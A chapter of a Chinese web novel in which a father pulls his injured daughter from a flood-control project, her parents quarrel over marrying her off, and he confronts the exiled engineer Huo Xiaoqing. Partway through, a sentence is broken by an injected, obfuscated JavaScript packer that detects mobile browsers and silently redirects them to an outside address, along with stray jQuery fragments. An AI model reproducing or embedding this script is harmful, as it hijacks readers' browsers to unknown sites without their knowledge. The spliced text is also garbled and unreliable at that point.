黄滨沉默片刻,低声道:“她以后不来了。”
“什么叫‘她以后不来了’?”霍宵晴诧异不已。
“她爹帮她请辞了。”
霍宵晴眉头紧蹙:“帮她请辞?”
霍宵晴不理解。难道在这个时代里,女子便注定要困于闺阁?姑娘家就是不能抛头露面干工程吗?杨婉兰正值韶华,按这世道来说也到适婚年纪了,莫非她父亲是那种迂腐大男子主义之人,要不顾她的意志,强行安排她的婚事,插手她的人生?
杨婉兰原本在父亲杨五龙的布庄记账,前来送丝线的货郎总是啧啧称奇。
“杨家大姑娘这手账目,比老账房还利落。”
她一手绣活更是名动桐城,提亲的媒人踏破门槛。可当听闻桐城水利工程招募通译,这个守分安常的姑娘竟主动找上门来。
“我会算账,我还认得沧江沿岸所有村落的土话。就算是最生僻的金石村古语,我也能译出七分。”
她掏出的一本麻线装订的册子,上面记满了各种词汇。她举例道:“‘浪头’在金石村叫‘白龙翻身’,‘堤坝’在下游渔村称作‘水墙’……”
“治水不能只听官话。”她轻轻展开那本方言册子,“百姓用土话说的才是江河真正的脾气。”那时杨婉兰站在县衙廊下,眼睛发亮。
昨日,天刚擦黑。布商杨五龙正准备关上铺板时,他远远就看见自家大女儿被一个陌生汉子搀扶着从牛车上下来,一身泥泞狼狈。杨婉兰右腿缠着厚厚的绷带,敷着深褐色草药,每挪一步都疼得额头冒汗。
杨五龙脸色骤变,疾步冲过去扶住女儿,紧张万分,“兰儿?这是怎么了?你不是跟着官家出公差吗?怎会伤成这样!”
杨婉兰宽慰似地扯出个笑:“爹,我没事,就是那牛车师傅把车赶到鬼哭涧,把我们甩下牛车,这才摔的……”
“鬼哭涧!我的乖女儿,你怎么上那去了?”杨五龙声音发颤,“那地方邪门得很!爹不求你建功立业,只求你平安康健。将来找个好人家相夫教子,若找不到,爹养你一辈子!你非要去掺和那些男人的事做什么!”
他一把将女儿揽过来,对黄滨硬邦邦道:“这位官爷,我在这里替杨婉兰请辞,她以后再不去了。”
不等黄滨回应,杨五龙“砰”地摔上铺门,扶着女儿穿过堆满布匹的前堂。林秀英和二女儿杨慧竹闻声从后院跑来,当娘的一见女儿惨状就哭了:“你这孩子!娘早说过姑娘家要安分守己,你说你在家帮忙看店算账你非不要,就要去县衙报道建什么水渠,你这不是没事找苦吃吗?还伤成这样……”她边抹泪边卷起杨婉兰的裤脚查看伤口,嘴上絮絮叨叨没完没了。
“够了!”杨五龙突然暴喝,“没看见孩子疼得脸都白了吗?还不快去烧热水!”
林秀英猝不及防地吓得噤声,讷讷道:“你又吼什么,我这不是担心兰儿吗?”
杨五龙挥挥手,“担心就少说两句,明天记得去给兰儿买根牛大骨,给她炖骨头汤补补。”
“牛大骨哪里是那么好买的——”
杨五龙不耐烦地喊道:“买得到就买,买不到就想办法,怎么就不知道变通呢?非得那么蠢?”
他和杨慧竹瞻前顾后地将杨婉兰扶进房间,杨五龙小心翼翼给女儿垫好引枕。
杨婉兰的右腿架在条凳上,裤管卷到膝盖,露出裹着草药的纱布。
杨五龙蹲下身,手指虚虚拂过纱布边缘,“还疼么?”
“好多了。李郎中说敷三天药就能下地。”
杨五龙头也不抬,“李郎中的技术我是不大信的,先前来买布,我与他发生过口角,都说医者仁心,我看他这人鬼心眼子多着呢!我现在出去给你找仁和堂的膏药,那比李郎中的方子管用。”
杨婉兰劝道:“爹,您快些休息吧,不用麻烦了,我真的没事。”
这时林秀英端着粥进来,听见二人的谈话,眉头微蹙:“又乱花什么钱。李郎中的药就挺好。”
“好什么?你不懂就不要在这叽叽喳喳,妇人之见。”
林秀英把粥碗放在女儿手边,“你就什么都懂?婉兰这是骨折,得慢慢养。”
杨婉兰轻声说:“娘,其实不怎么疼了,没那么严重的。”
“伤筋动骨一百天。”林秀英在围裙上擦擦手,“正好,趁这些日子把王家的婚事定下来。你王婶来说过三次了,再不嫁人就成老姑娘了,别成天跟着那都城来的小丫头混,还有一个什么王爷,他们都年纪小,可劲折腾,你已经老大不小了,别当自己还是孩子。你若一直不嫁人,你让竹儿如何说亲?”
杨五龙不耐地站起来:“相看什么?孩子还伤着!”
杨慧竹这时终于有机会插话道:“娘,我不想嫁人,我想一直陪在您、爹和姐姐身边。”
林秀英瞪了她一眼,继续道:“就是伤着才更要抓紧。姑娘家腿脚要是落了毛病,往后怎么说亲?王家开着油坊,这样的好人家错过就没了。”
“急急急,你就着急把女儿嫁出去?”
杨婉兰垂下眼睛,轻轻拉过妹妹的手。杨慧竹反手也将对方的手紧握给予安慰。
“爹,娘,”杨婉兰声音很轻,“我的腿伤没那么严重的。”
林秀英在床边坐下,语气缓了缓:“娘知道。可女人这一辈子,终究是要嫁人的。你之前在县衙帮工,娘没拦着,可现在却受这么重的伤,往后呢?”她看了眼女儿的腿,“总得为未来打算,早日寻个好夫婿,不必再在外头奔波劳累,这才是女子的好归宿。”
杨五龙一把打翻桌上的粥碗:“出门在外的,受点伤怎么了?现在刚出点什么事就要催着女儿嫁人,我是养不起她了吗?用不着你瞎操心!”
“我瞎操心?”林秀英也提高声音,“家里徒有田地,旱涝无收,经营着一间破布庄,也尽干着亏本买卖,没有兰儿,你账都算不明白,你当她还能回县衙?人家还要个瘸腿的文吏?”
“瘸瘸瘸!你非要咒她是不是?”
屋内,父母的争吵越来越激烈,姐妹两人的手也越握越紧。
次日卯时,杨五龙来到县衙。女儿腿上的伤让他整宿未眠,浸透血色的绷带在眼前挥之不去。
“张县令呢?我要见父母官!”
庞福揉着惺忪睡眼拉开条门缝,“杨掌柜?大人前往江州商议漕运事务了。”
他拦住庞福即将关上的门,“我家兰儿前日跟着你们的人出工,归来时腿伤严重,杨某今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16681444|188781||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日来就是想讨个说法。”
庞福应声道:“都是为着那位霍宵晴姑娘张罗的治水工程咯。”
杨五龙闻言手青筋暴起,“那霍宵晴到底是什么来路?桐城怎么平白无故冒出个这么厉害的人物?”
庞福困得口不择言:“霍宵晴是我从都城押送流放过来的罪奴……”
“什么?”杨五龙闻言如遭雷劈,“你说那个指点江山的霍姑娘,竟是个戴罪之身?”
一个从都城流放过来的罪奴,居然在桐城摇身一变成了治水大师,可悲可笑。
罪奴不愧是罪奴,在都城不安分,到桐城还要兴风作浪!非要把别人家搞得家破人亡不成?洪水不是早就治住了?现在是做什么画蛇添足的勾当吗?建治水工程?一个小姑娘懂什么治水之道?莫不是想踩着桐城百姓的尸骨往上爬?
杨五龙越想越气,“霍宵晴现在何处?”
庞福如梦初醒,自觉说错了话,不知如何辩白,后知后觉地捂住嘴。可他又转念一想,霍宵晴的流放文书分明就在县衙案卷里躺着,自己不过说了实话。
就是不知道那位安西王殿下知道后会不会怪罪于他……
杨五龙一把推开庞福,朝院内嘶吼,“让那个罪奴滚出来!”
此刻的霍宵晴尚不知变故将至还在马车上惋惜,她真的很欣赏杨婉兰。如果杨婉兰有条件接触更好的资源,如果她是在现代,怎么说都会是一个语言专家,而且她还精通会计,后续组建项目部门,她也将会是财务部的一员大将。
霍宵晴不希望杨婉兰的才华被埋没,她正打算回到县衙之后再拐去杨婉兰家登门拜访。
慕砚挑眉:“不用这么麻烦,现在拐去布庄也顺路,我同你一起去。”
“你还得赶紧召集匠人勘探鬼哭涧呢!”她转头看向马车上沉默的第三人,“黄滨同我一同去便可。”
慕砚不着痕迹地给了黄滨一个眼神,黄滨会意,立即抱拳:“霍姑娘,安置房今日验收,卑职实在抽不开身。”
霍宵晴不疑有他,她摆摆手:“没事,那我自己去。”
慕砚突然轻嘶一声,指尖抚过额角。
霍宵晴看向他。
慕砚偏头避开她的注视。
霍宵晴偏要凑近细看,这时她才发现,慕砚发际线处有道寸长的口子,那伤口默默隐入他的头发里,不仔细看的话看不出来,此时伤口边缘已经红肿,泛着斑斑血迹。
她下意识皱眉,“什么时候弄的?一会儿到县衙我先帮你处理一下。”
“不妨事。杨姑娘伤势更重,你先去找她吧,我调令匠人勘探要紧。”
霍宵晴:“也是,那等会儿让张嬷嬷帮你上药吧,她那有很多伤痛药。”
“嬷嬷年岁已高,这些小事不必劳烦她。
“她处理外伤很拿手的,我之前身上的伤也是她帮我处理的,很快就好了。”
“什么?”慕砚问道:“你什么时候受伤的?”
“刚来桐城的时候。”霍宵晴说着就要下车,“殿下莫不是忘了,我是流放到此的。”
话音未落,马车的布帘被人猛地扯落。
杨五龙赤红着双眼堵在车前:“罪奴霍宵晴!你怎敢伤害我女儿!”